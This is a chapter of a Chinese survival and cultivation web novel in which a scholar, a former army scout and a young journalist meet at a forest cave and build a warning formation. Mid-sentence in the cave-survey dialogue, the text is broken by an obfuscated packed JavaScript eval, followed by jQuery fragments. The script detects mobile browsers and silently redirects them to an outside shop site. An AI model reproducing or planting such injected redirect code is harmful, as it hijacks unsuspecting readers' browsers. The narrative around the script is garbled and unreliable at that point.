苏然蹲在试验田边,手指插进泥土里。
土壤湿度百分之八十二,和她昨天算的只差了一个百分点。三十七株幼苗整整齐齐地立在晨光里,最早发芽的那几株已经展开第三片真叶,叶缘的银白色绒毛挂着一层极细的露珠。她挨个检查了一遍,拔掉两株长势偏弱的,把空间留给壮苗。她做这件事的时候面无表情,动作精准利落,像一个正在做例行查房的医生,不像一个在跟三十七株植物告别的园丁。检查完最后一株,她把树皮笔记本塞进背篓,站起来拍了拍膝盖上的泥土。
“你们的生长曲线我已经建好模了,”她对那排幼苗说,“回来再补数据。”
苏然转过身,林朔等在营地外围的拒马旁边,背上背着一个军用背包,手里拿着一把系统出品的制式短刀。他看到她走过来,什么也没说,只是把一个竹筒递给她。
她接过来喝了一口。温的。不是刚烧开那种烫,是刚好能入口的温度。她看了他一眼。
“温度怎么控制的。”
“行军壶裹在背包侧袋,靠近后背的位置。体温传导,刚好恒温。”林朔说。
苏然把竹筒递回去。她没夸他,但她记住了——在没有任何工具的情况下,一个退伍兵用物理常识解决了一个生活需求。这是她在任何数学公式里都找不到的变量。
出发的路线昨晚已经定好。沿着溪流往上游走两公里,然后向东北切进中层密林,天黑前抵达一个高地——那个位置背靠岩壁、临近水源、地势偏高,是建前哨站的理想选址。她选这个路线是因为污染生物的活动规律:黎明和黄昏是觅食高峰,正午它们躲阴凉。清晨七点出发,刚好卡在两个高峰之间,安全窗口大约十个小时。林朔走在前面,步幅不大不小,始终和她保持两米左右的距离。她跟在后面,一边走一边习惯性地扫视两侧的树冠和灌木。过去七天的独处让她学会了一件事:在这片林子里,耳朵比眼睛重要。
走了大概四十分钟,她听到了一个不对的声音。
不是鸟叫。不是风声。是某种东西在撕扯血肉——潮湿的、沉闷的、带着骨裂声响的撕扯。林朔也在同一瞬间停下脚步,右手无声地抬起,握拳。
苏然蹲下,顺着他的目光看过去。
前方大约四十米,一棵板状根突出的巨木下面,一只体型接近成年山猫的污染兽正在埋头啃食一具动物的尸体。它脊背上竖着一排骨刺,皮毛是病态的灰绿色,尾巴末端有一个骨质的刺锤,正无意识地在地面上扫来扫去。她点开手环的扫描界面:刺脊兽,C级,速度型,攻击模式是扑咬加尾刺横扫,弱点在颈部——骨刺限制了它的转向角度。
她把信息报给林朔。林朔听她说完,把背包放在地上,拔出腰间的短刀。苏然之前看他在频道里说过两句话,刚才在营地外等她也算是一种存在,但现在他伏低身子贴着灌木丛往前摸的样子,才让她第一次真正理解“退伍侦察兵”这四个字是什么意思。他移动的时候,脚步踩在落叶上的声音比猫还轻;他的肩膀擦过蕨叶的时候,叶片抖动的幅度和风吹过时一模一样。融入了。
然后他冲了出去。
苏然见过很多种快。数学公式里的快是加速度和位移的函数关系,田径场上的快是肌肉爆发力和步频的乘积,但林朔的快不一样——他的快带着一种沉默的暴烈,不像是冲过去,像是某种被压制了很久的东西突然找到了出口。两步切入,压低重心,刺脊兽的尾刺横扫而来。苏然站在原地,心脏漏跳了一拍。她不是怕林朔受伤——她是怕自己的计算有误。转向半径1.2米,她算了两遍。但算过和亲眼看见,是两回事。尾刺在距离林朔的肋骨大约十五厘米处扫空,擦过空气的声音像鞭子抽过水面。
误差十五厘米。她的计算是正确的,但在这一刻,她的身体反应背叛了她的理性——她的手指攥紧了铁桦木矛的握柄,指节捏得发白。
林朔的短刀从下往上切入刺脊兽的咽喉。一刀,喉管断开。刺脊兽发出最后一声嘶叫,四肢抽了几下,不动了。
林朔拔出短刀,在兽皮上擦干净刀刃。他回头看了她一眼——不是邀功,不是炫耀,只是确认她安全。然后他蹲下来,用折叠小刀剖开兽颅,在颅腔内翻找了几秒,剔出一枚米粒大小的灰绿色晶体。
污染晶核。系统回收价50积分一颗。
他把晶核在兽皮上擦干净,站起来,朝苏然的方向走了两步,摊开手掌。那颗晶核躺在他掌心里,在晨光下泛着浑浊的微光。
“你的。”他说。
“你杀的。”
“你的计算。”林朔的语气没有任何商量余地,“情报费。”
苏然接过晶核,放进布袋里。林朔已经转身去捡背包。她看着他的背影,忽然开口说了一句:“误差十五厘米。下次我会把转向加速度的变量加进去。”
林朔的脚步顿了一瞬。她没看到他的表情,但她看到他的耳朵动了动。那是嘴角上扬时耳朵肌肉的联动反应。他没回头,继续往前走。
汇合点的坐标是昨晚通过私信约好的。一棵被雷劈倒的巨木,横在溪流上方形成一道天然的木桥,温晚在私信里把它描述为“一棵很像大象侧躺的树”。苏然当时回她:“大象和倒木之间的形态差异过大,你这个比喻会影响定位精度。”
她们到达时,倒木旁没有人。林朔的右手无声地按上刀柄。苏然将铁桦木矛微微放低,感知力扩散出去——没有异常的能量波动,没有大型生物靠近的痕迹。她的意识扫过倒木、灌木丛、溪流对岸的岩壁,然后停在倒木根部的石块上。有人用石头垒了一个箭头,指向溪流上游。箭头下面压着一张纸条。
“大佬!我在上游大概两百米的地方发现了一个山洞!看起来很适合当临时营地!我先去探一下!——0421”
林朔看完纸条,沉默了一秒:“她经常这样?”
“第一次。”苏然把纸条折好放进口袋。
“你该给她定条规矩。”
“她不会听的,”苏然说,“但我会在阵法里多加一个禁制。”
她们在岩壁的凹陷处找到了那个山洞。洞口被几丛灌木半掩着,内里不大,目测不到十平米,但地面干燥,顶部没有渗水痕迹,洞口朝向东南——白天采光充足,晚上背风。苏然还在评估洞口的防御潜力,里面就传来一阵急促的脚步声。一个人影从山洞深处冲出来,手里举着一根削尖的木棍。
然后那人影看清了她们的脸。
温晚愣住了。木棍从手里掉下来,在地上弹了两下,滚到林朔脚边。林朔低头看了一眼木棍,又看了一眼温晚,弯腰把棍子捡起来还给她。
“你的武器。”他说。
“谢谢。”温晚机械地接过棍子,眼睛却一直盯着苏然。苏然后来问过温晚当时在想什么,温晚想了很久说:“我在想,原来你长这样。我以为你会更学术一点——戴眼镜,穿白大褂那种。”
“白大褂在林地里的伪装效果为零。”
温晚盯着她看了几秒,然后笑了。不是那种礼貌的客套的笑,是从嘴角一路漫到眼底的、压都压不住的笑。她往前迈了一步,又犹豫地停下来,像一只想蹭上来又怕被赶走的小动物。
“大佬,”她说,“终于见到你了。”
苏然不太确定这种情况该怎么回应。她活了二十六年,被审稿人夸过论文严谨,被导师夸过思维缜密,被父母夸过懂事省心。从来没有人用这种语气叫她“大佬”,带着一种毫无保留的、几乎不讲道理的信任。她不知道该怎么回应这种信任,但她知道一件事——这个人在过去七天里,把她随口发的每一条攻略都整理成合集,无偿分享给所有人。这个人每天都会给她发私信,问她今天吃什么,问她庇护所评分怎么提,问她没有噩梦是不是不正常。这个人,在她还不知道自己需要被记住的时候,已经开始为她做记录了。
“山洞你探过了?”苏然问。
“探过了!”温晚立刻切换回工作状态,从腰间解下记录仪,调出几张她自己画的简易平面图,“深度大概二十米,最里面有一段天然裂缝,能通到岩壁外面,可以作为紧急逃生通道。地面是砂岩,渗水性低,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17872096|212316||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
适合长期居住。我还测了洞口的日照时长,从早上八点到下午三点都有直射光。”
苏然接过记录仪,翻了翻。平面图、日照数据、岩层分析。虽然没有专业仪器的精度,但在只有一只手环和一根木棍的条件下,这份勘探报告的完整度超乎她的预期。
“你学过地质?”
“新闻系,”温晚说,“不过我采访过地质学教授,做功课的时候看了几篇论文。”
苏然把记录仪还给她。
“你刚才离开约好的汇合点,一个人跑来探洞。”她说。
“是的。”
“很危险。”
“我知道。”
苏然沉默了片刻,然后从背篓里拿出那颗污染晶核,放进温晚手里。温晚低头看着掌心里那颗灰绿色的晶体,又抬起头看苏然。
“今天合作战斗的战利品,”苏然说,“团队情报官,公用物资由你管。”
温晚愣了一下,然后握紧了晶核。她没有敬礼,没有说什么“我不会辜负你的信任”,只是在记录仪上打开了一个新文件夹,把文件夹的名字命名为“荒界情报档案”。她在第一条记录里输入:一号藏品。来源,C级污染生物刺脊兽。采集者,林朔。移交人,苏然。移交日期,第八天。
林朔站在洞口,背靠着岩壁,目光扫过外面的林地。他没有参与她们的对话,但他的站姿恰好将洞口和她们两个都护在了保护圈内。他听到温晚念出他的名字时,微微侧了一下头。苏然捕捉到了这个动作——那是某种被触动后又被迅速压制的反应。她猜他不太习惯有人记住他做了什么。侦察兵喜欢在暗处待着,但温晚的档案不会让他待在暗处。她会记录每一刀,每一颗晶核,每一个守护了别人的编号。
夜色铺开时,苏然在山洞口布下了阵旗。三面空白的阵旗,她花了大半个晚上在上面绘制了《数脉真解》里的第一个完整符文——那个能扰动能量流动的基础符文。炭灰混水当墨,削尖的细枝当笔。当最后一笔落在旗面上时,符文短暂地亮了一下,不是灵石那种荧光,而是一种更内在的、符文本身被激活后的共鸣。林朔站在旁边看她画符,看了很久。
“你在学?”苏然头也不抬。
“不,”林朔说,“我在记。以后如果你不在,我要知道怎么激活它。”
“你没有灵力。”
“阵眼需要灵力,外围节点可以用物理方式触发。你画的三面旗,只有中间那面需要灵力。另外两面,只要能准确击中阵眼位置,就能触发预警。”
苏然抬起头,看着他。今天第二次意外——一个没有灵力的退伍兵,在只看了一遍她画符的过程后,就看穿了她整个预警阵法的设计逻辑。她沉默了几秒,然后把阵旗重新排布了一下,在最外侧多加了一面。四面旗,四个节点,覆盖面从原来的180度扩展到了270度。
“这面旗的位置,”她指着新增的那个节点,“折断旗杆,自动激活阵眼。给你争取三秒。”
林朔点了点头。没有说谢谢。但她知道他会把这个位置刻进骨头里。
山洞深处,温晚已经把篝火升起来了。火光映在岩壁上,跳动的光影把三个人的影子拉得很长,重叠在一起,像某种没有经过排练的编舞。
苏然拿出玉简。这块残卷她已经研究了好几天,每一个符文都已烂熟于心。但她始终觉得有一段内容不对劲——那些符文本身是完整的,排列也符合阵修逻辑,但每次她用神识扫过卷末时,都会感觉到一种极其微弱的阻滞感,像是有什么东西藏在字里行间,正在用几乎察觉不到的力量往外顶。
她将神识集中在一个点上,试图穿透那层阻滞。阻滞感还在,但在她全力突破的瞬间,一股极其微弱的、不属于她的情绪波动顺着神识返了回来。不是她自己的冷静,不是她习惯的那种理性——是一种压抑的孤独,和漫长到无法计数的等待。她猛地睁开眼睛。玉简安安静静地躺在掌心里,符文依旧,没有任何异常。但在刚才那一瞬间,她清晰地感知到了——在这块玉简的深处,有另一个意识存在过。